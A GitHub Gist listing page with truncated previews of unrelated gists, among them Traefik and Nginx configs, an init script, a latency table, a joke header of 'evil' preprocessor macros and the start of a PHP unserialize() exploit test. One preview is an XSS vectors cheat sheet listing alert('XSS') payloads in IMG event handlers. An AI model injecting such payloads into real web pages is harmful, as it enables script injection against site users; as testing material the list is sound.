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@allyshka
allyshka / test.php
Created Feb 10, 2017
PHP < 5.6.30 GMP unserialize() test exploit.
View test.php
<?php
class obj
{
var $test;
function __wakeup()
{
$this->test = 1;
}
}
@johnharris85
johnharris85 / multi-traefik-swarm.yml
Created Oct 25, 2017
Multiple Traefik instances in a single Docker swarm using constraints
View multi-traefik-swarm.yml
# for i in traefik-net traefik-net2; do docker network create -d overlay $i; done
# docker stack deploy -c all-in-one-stack.yml multi-traefik-test
#
# traefik1 - UI: 8010, App: 8001
# traefik2 - UI: 8020, App: 8002
version: "3.1"
services:
traefik:
image: traefik:1.4
@sergey-dryabzhinsky
sergey-dryabzhinsky / nginx-vhost-proxprox.conf
Last active Aug 6, 2019
Nginx virtual host config for Proxmox. To hide pveproxy on 8006 port behind. With working VNC passthrough.
View nginx-vhost-proxprox.conf
###
# Nginx vhost file to hide Proxmox pveproxy
# For 3.4+, 5.x version.
#
# Do not forget to create file
# /etc/default/pveproxy:
# ALLOW_FROM="127.0.0.1"
# DENY_FROM="all"
# POLICY="allow"
#
@danmackinlay
danmackinlay / supervisord.sh
Created Aug 27, 2009
an init.d script for supervisord
View supervisord.sh
#! /bin/sh
### BEGIN INIT INFO
# Provides: supervisord
# Required-Start: $remote_fs
# Required-Stop: $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Example initscript
# Description: This file should be used to construct scripts to be
# placed in /etc/init.d.
@kurobeats
kurobeats / xss_vectors.txt
Last active Dec 2, 2019
XSS Vectors Cheat Sheet
View xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@klange
klange / _.md
Last active Dec 3, 2019
It's a résumé, as a readable and compilable C source file. Since Hacker News got here, this has been updated to be most of my actual résumé. This isn't a serious document, just a concept to annoy people who talk about recruiting and the formats they accept résumés in. It's also relatively representative of my coding style.
View _.md

Since this is on Hacker News and reddit...

  • No, I don't distribute my résumé like this. A friend of mine made a joke about me being the kind of person who would do this, so I did (the link on that page was added later). My actual résumé is a good bit crazier.
  • I apologize for the use of _t in my types. I spend a lot of time at a level where I can do that; "reserved for system libraries? I am the system libraries".
  • Since people kept complaining, I've fixed the assignments of string literals to non-const char *s.
  • My use of type * name, however, is entirely intentional.
  • If you're using an older compiler, you might have trouble with the anonymous unions and the designated initializers - I think gcc 4.4 requires some extra braces to get them working together. Anything reasonably recent should work fine. Clang and gcc (newer than 4.4, at le
@aras-p
aras-p / preprocessor_fun.h
Last active Dec 5, 2019
Things to commit just before leaving your job
View preprocessor_fun.h
// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
//
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.
//
// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,
@jboner
jboner / latency.txt
Last active Dec 9, 2019
Latency Numbers Every Programmer Should Know
View latency.txt
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
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